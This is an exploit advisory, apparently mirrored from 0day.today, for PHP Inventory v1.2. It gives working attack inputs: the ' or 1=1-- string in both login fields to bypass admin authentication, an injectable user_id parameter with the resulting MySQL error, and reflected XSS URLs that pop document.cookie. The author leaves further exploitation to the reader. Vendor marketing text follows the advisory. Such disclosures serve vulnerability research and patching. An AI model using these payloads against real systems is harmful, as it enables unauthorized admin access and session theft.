Lucene search
K

PHP Inventory v1.2 Remote (Auth Bypass) SQL Injection Vulnerabiity

🗓️ 10 Dec 2009 00:00:00Reported by mr_meType 
zdt
 zdt
🔗 0day.today👁 15 Views

PHP Inventory v1.2 Remote (Auth Bypass) SQL Injection Vulnerability found by mr_me. App riddled with reflected XSS

Code
==================================================================
PHP Inventory v1.2 Remote (Auth Bypass) SQL Injection Vulnerabiity
==================================================================

#################################################################
#
# PHP Inventory v1.2 Remote (Auth Bypass) SQL Injection Vulnerabiity
# Found By: mr_me
# Download: http://www.phpwares.com/content/php-inventory
# Tested On: Windows Vista
# Note: For educational purposes only
#
#################################################################
 
First of all lets login to admin with:
 
http://[server]/php-inventory/index.php
 
username: ' or 1=1--
password: ' or 1=1--
 
The app is riddled with SQL Injection. For example:
 
http://[server]/php-inventory/index.php?sub=users&action=details&user_id=[SQLI]
 
SELECT * FROM `site_users` WHERE `user_id`='1003''You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near ''1003''' at line 1
 
This of course means you can do some slightly dodgy refected XSS:
 
http://[server]/php-inventory/index.php?sub=suppliers&action=details&sup_id=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://[server]/php-inventory/index.php?sub=suppliers&action=details&sup_id='><script>alert(document.cookie)</script>
 
I leave the exploiting up to the reader.



#  0day.today [2018-02-16]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation